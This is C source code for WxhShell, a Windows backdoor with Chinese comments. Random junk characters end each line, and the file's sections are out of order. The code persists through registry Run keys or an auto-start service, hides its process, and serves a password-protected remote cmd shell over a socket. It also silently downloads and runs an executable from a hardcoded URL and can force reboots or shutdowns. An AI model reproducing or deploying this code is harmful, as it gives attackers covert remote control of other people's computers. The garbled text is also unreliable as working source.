    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0HUSN_3F  
    else { %c%0pGn8-  
    closesocket(wsh); =[8EQdR  
    ExitThread(0); a hi lp$v  
    } iOpMU  
    break; jEj#|w  
    } v.,|#}0 o  
  // 获取shell T9r"vw  
  case 's': {  :[:5^R  
    CmdShell(wsh);  6e,|HV  
    closesocket(wsh); y9d[-j ;w  
    ExitThread(0); mA|&K8H  
    break; y:Xs/RS  
  } L/1zG/@  
  // 退出 5urM,1SQ@  
  case 'x': { wjk-$p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sS5 ]d8  
    CloseIt(wsh); )3<|<jwcx  
    break; EL!V\J`S_  
    } DA)+)PhY7K  
  // 离开 Q3MG+@)S  
  case 'q': { 8<(qN> R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1PWs">*(  
    closesocket(wsh); Bw-<xwD  
    WSACleanup(); T'9I&h%\  
    exit(1); NNZ%jJy?=,  
    break; ":E^&yQ  
        } m+p}Qi8i)  
  } !g}?x3  
  } [(v?Z`cX\  
%2Q:+6)  
  // 提示信息 =;DmD?nZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Le3H!9lbc  
} sg"J00  
  } xW@y=l Cu  
yM$@*od  
  return; :.kc1_veYS  
} (_G&S~@.  
[+0rlmB  
// shell模块句柄 oh+Q}Fa:  
int CmdShell(SOCKET sock) 32!jF}qpD  
{ V@gweci  
STARTUPINFO si; F"2v5F@  
ZeroMemory(&si,sizeof(si)); nR)/k,3W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1e`/N+6u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x`8rR;N!  
PROCESS_INFORMATION ProcessInfo; H..g2;D  
char cmdline[]="cmd"; P3|_R HIb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4\'1j|nS[  
  return 0; hwF9LD~^  
} UhuEE  
b%`^KEvwfo  
// 自身启动模式 utIR\e#:B  
int StartFromService(void) :V1ttRW}52  
{ eliT<sw8  
typedef struct A/n-.ci  
{ N ]/ N}b  
  DWORD ExitStatus; ?E1<>4S8  
  DWORD PebBaseAddress; 2E~WcB  
  DWORD AffinityMask; 61|uvTX  
  DWORD BasePriority; Kx.'^y  
  ULONG UniqueProcessId; ]h4^3   
  ULONG InheritedFromUniqueProcessId; 5WN^8`{'3  
}   PROCESS_BASIC_INFORMATION; yZup4#>8  
ZH8O%>!  
PROCNTQSIP NtQueryInformationProcess; yOKpi&! r  
shjc`Tqm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5\RTy}w3x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L:$kd `v[  
u6o:~=WwM  
  HANDLE             hProcess; RlH|G  
  PROCESS_BASIC_INFORMATION pbi; *?|LE C  
\]Nlka  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VOc_7q_=  
  if(NULL == hInst ) return 0; C!KxY/*Px  
>B)&mC$$S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oRl~x^[%[-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7_Yxz$m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X v[5)4N  
6&8([J  
  if (!NtQueryInformationProcess) return 0; yuyI)ebC  
l*^J}oY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W[trsFP1?  
  if(!hProcess) return 0; @tQu3Rq@  
3vx5dUgl,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )?35!s6  
6H+'ezM  
  CloseHandle(hProcess); Rf*we+  
RTN?[`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cM&5SyxiuE  
if(hProcess==NULL) return 0; ~JjL411pG  
2'O2n]{  
HMODULE hMod; EfxW^zm)  
char procName[255]; RLBeti>  
unsigned long cbNeeded; x*}41;j}C  
wf47Ulx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *&$J.KM  
%UIR GI  
  CloseHandle(hProcess); r)Q/YzXx*  
~)5NX 4Po  
if(strstr(procName,"services")) return 1; // 以服务启动 8<BYAHY^  
!|!k9~v!  
  return 0; // 注册表启动 ^PwZP;On  
} #_]/Mr1  
@qP uYFnw  
// 主模块 N?cvQR{r9  
int StartWxhshell(LPSTR lpCmdLine) S0,q@LV  
{ !*2cK>`  
  SOCKET wsl; =T_E]>FF9  
BOOL val=TRUE; UQq ,Xq  
  int port=0; YU=Q`y[k  
  struct sockaddr_in door; KGsS2  
P#^-{;Bu  
  if(wscfg.ws_autoins) Install(); 5u/dr9n  
R]{zGFnx  
port=atoi(lpCmdLine); =Uy;8et  
<(YE_<F*  
if(port<=0) port=wscfg.ws_port; sb8%!> C  
-Jqm0)2  
  WSADATA data; BE,XiH;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ckn0I  
X[' VZz7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   | .w'Z7(s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <( "M;C3y  
  door.sin_family = AF_INET; MW^(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @Z0?1+k  
  door.sin_port = htons(port); M%(B6};J  
'p%aHK{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m+66x {M2c  
closesocket(wsl); %:yp>nm  
return 1; Eb 8vnB#  
} w;;yw3  
<x&0a$I  
  if(listen(wsl,2) == INVALID_SOCKET) { ie<zc+*rW  
closesocket(wsl); JONfNb+  
return 1; X#;n Gq)5  
} 4XL$I*;4  
  Wxhshell(wsl); zL8Z8eh">  
  WSACleanup(); G =`-w  
k2bjBAT  
return 0; n $Nw/Vm  
r"E%U:y3P  
} ALcin))+B  
\<e?  
// 以NT服务方式启动 @;\2 PD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .AB n$ml]  
{ #}M\ J0QG  
DWORD   status = 0; IP?15l w  
  DWORD   specificError = 0xfffffff; \[\4= !v  
*}F>c3x]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x*`S>_j27=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }~I(e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |uUGvIsXn  
  serviceStatus.dwWin32ExitCode     = 0; #%Hk-a=>)#  
  serviceStatus.dwServiceSpecificExitCode = 0; "|N58%  
  serviceStatus.dwCheckPoint       = 0; 'SW%EVB  
  serviceStatus.dwWaitHint       = 0; Bf5Z  
KjWF;VN*[3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,=_)tX^  
  if (hServiceStatusHandle==0) return; e>$d*~mwn  
Y"{L&H `  
status = GetLastError(); Bb[WtT}=  
  if (status!=NO_ERROR) W D/\f$4  
{ 7pllzy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s=S9y7i(R  
    serviceStatus.dwCheckPoint       = 0; q?R^~r  
    serviceStatus.dwWaitHint       = 0; G3.*fSY$.<  
    serviceStatus.dwWin32ExitCode     = status; `i!BXOOV{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Oy}^|MFfA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X| !VjUH  
    return; M&QzsVH  
  } A&?8 rc  
K20,aWBq;3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rt rPRR\:"  
  serviceStatus.dwCheckPoint       = 0; Sb4^* $uz  
  serviceStatus.dwWaitHint       = 0; 0sMNp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RGu`Jk  
} f-.dL  
t]3> X  
// 处理NT服务事件,比如:启动、停止 J# >)+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a/\SPXQ/9  
{ x5w5xw  
switch(fdwControl) )])nd "E  
{ }}Zwdpo  
case SERVICE_CONTROL_STOP: |?cL>]t  
  serviceStatus.dwWin32ExitCode = 0; ~mF^t7n]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3# g"Z7/  
  serviceStatus.dwCheckPoint   = 0; D%`O.2T Y|  
  serviceStatus.dwWaitHint     = 0; !1b}M/Wx  
  { Ir\P[A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E ,kDy:  
  } SD/=e3  
  return; |D% O`[k+  
case SERVICE_CONTROL_PAUSE: $#z-b@s=B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bmOK 8  
  break; \DiAfx<Ub  
case SERVICE_CONTROL_CONTINUE: }s7@0#j@a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OXxgnn>W'  
  break; f7lt|.p  
case SERVICE_CONTROL_INTERROGATE: =:M/hM)#  
  break; QGCg~TV;  
}; U F&B7r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0&~ JC>S  
} 6%a9%Is!O  
{xD\w^  
// 标准应用程序主函数 A=Y A#0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;tJ}*!z W  
{ .Ei#mG-=}&  
}WA =  
// 获取操作系统版本 !.G knDT  
OsIsNt=GetOsVer(); HUFm@?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =Lh8#>T\h  
9xN`  
  // 从命令行安装 rNK<p3=7)  
  if(strpbrk(lpCmdLine,"iI")) Install(); &ggOm  
Ia[4P8Z  
  // 下载执行文件 D03QisH=  
if(wscfg.ws_downexe) { &At9@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q)l1tC72  
  WinExec(wscfg.ws_filenam,SW_HIDE); d[\$a4G+  
} <Fi*wV  
tCR#TW+IY-  
if(!OsIsNt) { E5$Fhc   
// 如果时win9x,隐藏进程并且设置为注册表启动 [t6Y,yo&h4  
HideProc(); _,<@II  
StartWxhshell(lpCmdLine); [Ot<8)Jm  
} &s(mbpV  
else h ^.jK2I  
  if(StartFromService()) O[|_~v:^  
  // 以服务方式启动 j0b>n#e7  
  StartServiceCtrlDispatcher(DispatchTable); _ea|E  8  
else wX4gyr  
  // 普通方式启动 +h)1NX;o1  
  StartWxhshell(lpCmdLine); /u&7!>,  
0;L.h|R T(  
return 0; BM o2t'L  
} :anR/  
$qR<_6j  
k|^YYi= xF  
uhm3}mWv  
=========================================== h:AB`E1  
(Fj"<  
a)8;P7  
0<XxR6w  
<74r  
]&?8l:3-G  
" I&%KOe0  
Eb7GiRT#  
#include <stdio.h> "$nff=]  
#include <string.h> nh]HEG0CZJ  
#include <windows.h> eMLcm ZJR  
#include <winsock2.h> &X6hOc:``\  
#include <winsvc.h> l[6lXR&|  
#include <urlmon.h> 0m,q3  
`< 82"cAT{  
#pragma comment (lib, "Ws2_32.lib") 0iV~MQZ(  
#pragma comment (lib, "urlmon.lib") P9o=G=i  
>x1yFwX}-f  
#define MAX_USER   100 // 最大客户端连接数 7fC:' 1]G  
#define BUF_SOCK   200 // sock buffer _7;D0l  
#define KEY_BUFF   255 // 输入 buffer M2nWvU$  
489xoP  
#define REBOOT     0   // 重启 G-TD9OgZ  
#define SHUTDOWN   1   // 关机 z+K1[1SM  
\iA.{,VX  
#define DEF_PORT   5000 // 监听端口 9DmFa5E  
gh-i| i,  
#define REG_LEN     16   // 注册表键长度 Ltk-1zhI  
#define SVC_LEN     80   // NT服务名长度 hs*n?vxp3  
$q##Tys  
// 从dll定义API ]G~Z'fs<(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IAJ+n0U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \b}%A&Ij  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y q!{\@-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1pz-jo,2'  
+ } y"S-  
// wxhshell配置信息 (sSGJS'X  
struct WSCFG { E5IS<.  
  int ws_port;         // 监听端口 61}eB/;7  
  char ws_passstr[REG_LEN]; // 口令 t pa<)\7KJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2v<O}   
  char ws_regname[REG_LEN]; // 注册表键名 )S`=y-L$  
  char ws_svcname[REG_LEN]; // 服务名 7$v_#ZE.H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bs'hA@r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \ cdns;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T0@$6&b%\z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *mkVk7]c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h!7Lvh`o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hGcu(kAC,  
9TZ6c  
}; w8bvqTQ  
r&_e3#]*  
// default Wxhshell configuration E"7[|-`e6  
struct WSCFG wscfg={DEF_PORT, hlfdmh? /  
    "xuhuanlingzhe", {TvB3QOsj  
    1, ovZ!}  
    "Wxhshell", )|GYxG;8C  
    "Wxhshell", ~|S}$|Mi50  
            "WxhShell Service", 3:>hHQi  
    "Wrsky Windows CmdShell Service", M}$Td_g  
    "Please Input Your Password: ", K,,'{j2#f  
  1, qFI19`?8E  
  "http://www.wrsky.com/wxhshell.exe", kz G W/  
  "Wxhshell.exe" uQ%3?bx)T  
    }; S4pEBbV^n  
*=P*b|P"$  
// 消息定义模块 ('2Z&5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TUARYJ6=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m%b# B>J,n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |-HNHUF  
char *msg_ws_ext="\n\rExit."; z 'V$)U$f  
char *msg_ws_end="\n\rQuit."; F<^f6z8  
char *msg_ws_boot="\n\rReboot..."; pwRCfR)"X  
char *msg_ws_poff="\n\rShutdown...";  7gx?LI_e  
char *msg_ws_down="\n\rSave to "; o?^Rw*u0/  
ByacSN  
char *msg_ws_err="\n\rErr!"; z3{Cp:Mn  
char *msg_ws_ok="\n\rOK!"; HP\5gLVXY  
 6),!sO?  
char ExeFile[MAX_PATH]; g""Ep  
int nUser = 0; ornU8H`  
HANDLE handles[MAX_USER]; (mioKO )?v  
int OsIsNt; /iL*)  
6Fc*&7Z+  
SERVICE_STATUS       serviceStatus; wG73GD38  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; agq4Zy  
{B4.G8%Z  
// 函数声明 ^v+p@k  
int Install(void); czsnPmNEI  
int Uninstall(void); r5y*SoD!  
int DownloadFile(char *sURL, SOCKET wsh); D=SjCmG  
int Boot(int flag); T:".{h-i  
void HideProc(void); 211V'|a_ >  
int GetOsVer(void); -`NzBuV$2,  
int Wxhshell(SOCKET wsl); ,YJn=9pTl  
void TalkWithClient(void *cs); &A=c[pc  
int CmdShell(SOCKET sock); P&yB(M-z  
int StartFromService(void); F:~@e(  
int StartWxhshell(LPSTR lpCmdLine); ay#f\P!1  
y#= j{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FV{XPr%   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "ji+~%`^[t  
L#%)@  
// 数据结构和表定义 q7I!wD9Cff  
SERVICE_TABLE_ENTRY DispatchTable[] = 7GCxd#DJ  
{ rM? J40&.  
{wscfg.ws_svcname, NTServiceMain}, M@Ti$=  
{NULL, NULL} v57<b&p26  
}; F3t IJz>3  
Qkw?Q V-`k  
// 自我安装 k9;t3-P  
int Install(void) %j2$ ezud  
{ >WLHw!I!6  
  char svExeFile[MAX_PATH]; nFWiS~(#sW  
  HKEY key; V9Dq<y-y  
  strcpy(svExeFile,ExeFile); 2qQ;U?:q  
!N!AO(Z  
// 如果是win9x系统,修改注册表设为自启动 )Cat$)I#,  
if(!OsIsNt) { 13*S<\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D]5j?X'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aj/+#G2  
  RegCloseKey(key); `2]TPaWGh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /} h"f5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @>8 {J6%\  
  RegCloseKey(key); <8YvsJ  
  return 0; ah,"c9YX  
    } wk{]eD%  
  } LB[?kpy  
} `xZ,*G7(*  
else { |9p0"#4u  
C Sz+cS  
// 如果是NT以上系统,安装为系统服务 :F9Oj1lM%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bkz/V/Y  
if (schSCManager!=0) +(W7hK4ip  
{ ; rNX  
  SC_HANDLE schService = CreateService c|Z6p{)V  
  ( GB;_!69I  
  schSCManager, p=^6V"'  
  wscfg.ws_svcname, t,Q"Pt?  
  wscfg.ws_svcdisp, qe22 kE#  
  SERVICE_ALL_ACCESS, bR;.KC3C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G_zK .N   
  SERVICE_AUTO_START, ZAn9A>5_  
  SERVICE_ERROR_NORMAL, t/3HX]B_  
  svExeFile, $sUn'62JlU  
  NULL, F)Z9Qlo  
  NULL, u \<APn  
  NULL, k3KT':*  
  NULL, sXNb  
  NULL -8R SE4)  
  ); uvw1 _j?  
  if (schService!=0) 8'NT_NPNb  
  { {;6a_L@q;|  
  CloseServiceHandle(schService); ;}M&fXFp"|  
  CloseServiceHandle(schSCManager); Z[0/x.pp$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4Xww(5?3  
  strcat(svExeFile,wscfg.ws_svcname); `m #i|8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gf>GK/^HH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W Q9Q:F2  
  RegCloseKey(key); gVy`||z  
  return 0; sZ7~AJ  
    } j)#yyK{k2s  
  } 7j29wvSp5  
  CloseServiceHandle(schSCManager); 6urU[t1  
} 6'.)z ,ts  
} E25w^x2  
J1Az+m  
return 1; )o-mM tPj  
} 1Dhu 5ht  
(_6JQn  
// 自我卸载 {B e9$$W,  
int Uninstall(void) RKM5FXX  
{ 3(nnN[?N,5  
  HKEY key; JT=ax/%Mo  
G]{^.5  
if(!OsIsNt) { |n^rI\ p%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .g?D3$|K  
  RegDeleteValue(key,wscfg.ws_regname); >3~)2)Q  
  RegCloseKey(key); u:6R|%1fNn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bUds E 1f  
  RegDeleteValue(key,wscfg.ws_regname); ] W$V#  
  RegCloseKey(key); * dk(<g=fM  
  return 0; JIHIKH-#  
  } Bk^o$3#  
} WBA7G  
} ^~6gkS }  
else { iq^;csyKb  
YW&`PJ9o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }Z t#OA $  
if (schSCManager!=0) z-:>[Sn  
{ Hs_7oy|P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $DtUTh3)  
  if (schService!=0) z@V9%xF-3  
  { t* p%!xsH  
  if(DeleteService(schService)!=0) { -yTIv* y  
  CloseServiceHandle(schService); ,oPxt  
  CloseServiceHandle(schSCManager); ledr[)  
  return 0; |`s:&<W+kp  
  }  rvK%m_r  
  CloseServiceHandle(schService); 8j :=D!S  
  }  K V  
  CloseServiceHandle(schSCManager); #!%zf{(C+  
} Oamz>Hplu  
} <G`1(,g  
]ms+ Va_/  
return 1; 1L!jI2~x}  
} `e?~c'a@  
O: #Sj jK  
// 从指定url下载文件 wZW\r!Us  
int DownloadFile(char *sURL, SOCKET wsh) F?0Q AA  
{  WK@<#  
  HRESULT hr; }T AG7U*  
char seps[]= "/"; -_eG/o=M  
char *token; $<Y%4LI  
char *file; OdNcuiLa  
char myURL[MAX_PATH]; Zm7, O8  
char myFILE[MAX_PATH]; Cud!JpL  
%tZrP$DQ  
strcpy(myURL,sURL); X#K;(.},h  
  token=strtok(myURL,seps); 45$aq~%as  
  while(token!=NULL) q)KOI` A  
  { {MTtj4$  
    file=token; (d (>0YMv  
  token=strtok(NULL,seps); eT]*c?"  
  } ry@p  
^tI&5S]nE  
GetCurrentDirectory(MAX_PATH,myFILE); <[K)PI  
strcat(myFILE, "\\"); m|t\w|B2  
strcat(myFILE, file); N:S2X+}(  
  send(wsh,myFILE,strlen(myFILE),0); $|T Lt{ K  
send(wsh,"...",3,0); 6Z2|j~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9_e_Ne`i`?  
  if(hr==S_OK) 3(vm'r&5n>  
return 0; ='_3qn.  
else i\gt @  
return 1; 79-5 0}A  
x; -D}#  
} }UQ,B  
@LDs$"f9=  
// 系统电源模块 " vc4QH$  
int Boot(int flag) SBf=d<j 1)  
{ hY !>>  
  HANDLE hToken; l~Ka(*[!U  
  TOKEN_PRIVILEGES tkp; O=lRI)6w@e  
-mmQ]'.0  
  if(OsIsNt) { kC6Y?g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4FZ/~Y1}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H@~tJ\L  
    tkp.PrivilegeCount = 1; gs0`nysM#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $#3[Z;\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `Mcg&Mi~  
if(flag==REBOOT) { qPWf=s7!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :}/\hz ,  
  return 0; LP'q$iB!  
} ^N 4Y*NtV7  
else { g)D@4RM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [z+YX s!N  
  return 0; ^tWSu?9  
} 6d2e WS  
  } *.+F]-  
  else { _`0DO4IU  
if(flag==REBOOT) { }d iE'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %L7DC`  
  return 0; SW+;%+`  
} \Y!=O=za]  
else { ,:MUf]Ky  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NYs<`6P:Y  
  return 0; D/%v/mpj$  
} >i.$s  
} }J92TV  
`T ^0&#  
return 1; 7!FiPH~kM  
} TBba3%  
#F2DEo^0  
// win9x进程隐藏模块 burSb:JF  
void HideProc(void) :`"- Jf  
{ R!WDQGR(2  
AN[pjC<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pS7y3(_  
  if ( hKernel != NULL ) 61OlnmvE  
  { Gl45HyY_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I,,SR"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aRI.&3-  
    FreeLibrary(hKernel); 99,=dzm  
  } D!Nc&|X^  
.h4Z\R`  
return; v)nv"o[  
} {#`wW`U^  
R~hIoaiN  
// 获取操作系统版本 Z?3B1o9  
int GetOsVer(void) m(kv:5<>  
{ R\#5;W^  
  OSVERSIONINFO winfo; 3pL4 Zhf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); px+]/P <dX  
  GetVersionEx(&winfo); ,@ f|t&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W$J.B!O  
  return 1; _FS #~z'j  
  else 7Q~W}`Qv'  
  return 0; 0/fZDQH  
} v$(Z}Hg  
[Fk|m1i!  
// 客户端句柄模块 B4+u/hkbh?  
int Wxhshell(SOCKET wsl) -49I3&  
{ p|a`Q5z!  
  SOCKET wsh; I3T;|;P7  
  struct sockaddr_in client; DW:\6k  
  DWORD myID; [eTEK W]  
o8%o68py  
  while(nUser<MAX_USER) MTgf.  
{ [z= !OFdE  
  int nSize=sizeof(client); ZC<EPUV(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sz')1<  
  if(wsh==INVALID_SOCKET) return 1; p:{L fQ  
o54=^@>O<j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T('rM :)/  
if(handles[nUser]==0) lb=fS%  
  closesocket(wsh); ,pf\g[tz  
else h<PS<  
  nUser++; 85] 'I%gT  
  } h4Arg~Or  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lU&2K$`  
9(vp`Z8B4  
  return 0; EQZ/v gho  
} .RmoO\ ,Gm  
p<l+js(5|  
// 关闭 socket !,5qAGi0  
void CloseIt(SOCKET wsh) DZb0'+jQ  
{ aM,g@'.=  
closesocket(wsh); 2~r2ErtS  
nUser--; v~._]f$:  
ExitThread(0); K]7[|qf&   
} Qx!Bf_,J  
Y(EF )::  
// 客户端请求句柄 FJ?]|S.?,  
void TalkWithClient(void *cs) <veypLi"R  
{ HTMo.hr  
\Ov~ t  
  SOCKET wsh=(SOCKET)cs; c5O8,sT  
  char pwd[SVC_LEN]; kXUJlLod  
  char cmd[KEY_BUFF]; F* Yx1vj  
char chr[1]; s+G( N$0U  
int i,j; dpt P(H  
ZGCp[2$  
  while (nUser < MAX_USER) { oq1wU@n  
l-h[I>TW  
if(wscfg.ws_passstr) { cP@H8|c=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fmUrwI1 %  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^r7KEeVD  
  //ZeroMemory(pwd,KEY_BUFF); .i` -t"  
      i=0; %P#| }  
  while(i<SVC_LEN) { a8k`Wog  
{cdrMP@""  
  // 设置超时 K!E\v4  
  fd_set FdRead; p_apVm\t_  
  struct timeval TimeOut; f6Y-ss;'  
  FD_ZERO(&FdRead); F%%mcmHD#  
  FD_SET(wsh,&FdRead); wZ `{ i  
  TimeOut.tv_sec=8; [kgCB7.V  
  TimeOut.tv_usec=0; H&k&mRi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G'nSnw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0XyPG  
[E2".F3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UalwK  
  pwd=chr[0]; "EWq{l_I5$  
  if(chr[0]==0xd || chr[0]==0xa) { ;9J6)zg !n  
  pwd=0; 61HJ%  
  break; 5,|{|/  
  } H,j_2JOY=  
  i++; ]f wW dtz1  
    } 8/u kzY1!  
KR hls"\1  
  // 如果是非法用户,关闭 socket 2t{Tz}g*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XZ8]se"C  
} 6KN6SN$  
zd F;!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e-lc2$o7{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !I91kJt7  
0YoV`D,U  
while(1) { '^_^o)0gp  
tBsvi%F  
  ZeroMemory(cmd,KEY_BUFF); hW;n^\lF#e  
mOLz(0  
      // 自动支持客户端 telnet标准   -ni@+Dy  
  j=0; %)&Tr`   
  while(j<KEY_BUFF) { 65RD68a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g(Oor6Pp  
  cmd[j]=chr[0]; ;MlPP)*k  
  if(chr[0]==0xa || chr[0]==0xd) { ; =*=P8&5  
  cmd[j]=0; Uhyf  
  break; cN\_1  
  } 7s}F`fjKP  
  j++; 1h)K3cC  
    } Hbu :HFJ!  
;oVOq$ql  
  // 下载文件 n \&H~0X  
  if(strstr(cmd,"http://")) { /WX&UAG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ru);wzky  
  if(DownloadFile(cmd,wsh)) @bnw$U`+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &{q'$oF  
  else }XCh>LvX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n+vv %  
  } } R hSt]  
  else { l$W)Vk<B(T  
?1eu9;q\*  
    switch(cmd[0]) { r,L`@A=v  
  a [f}-t9  
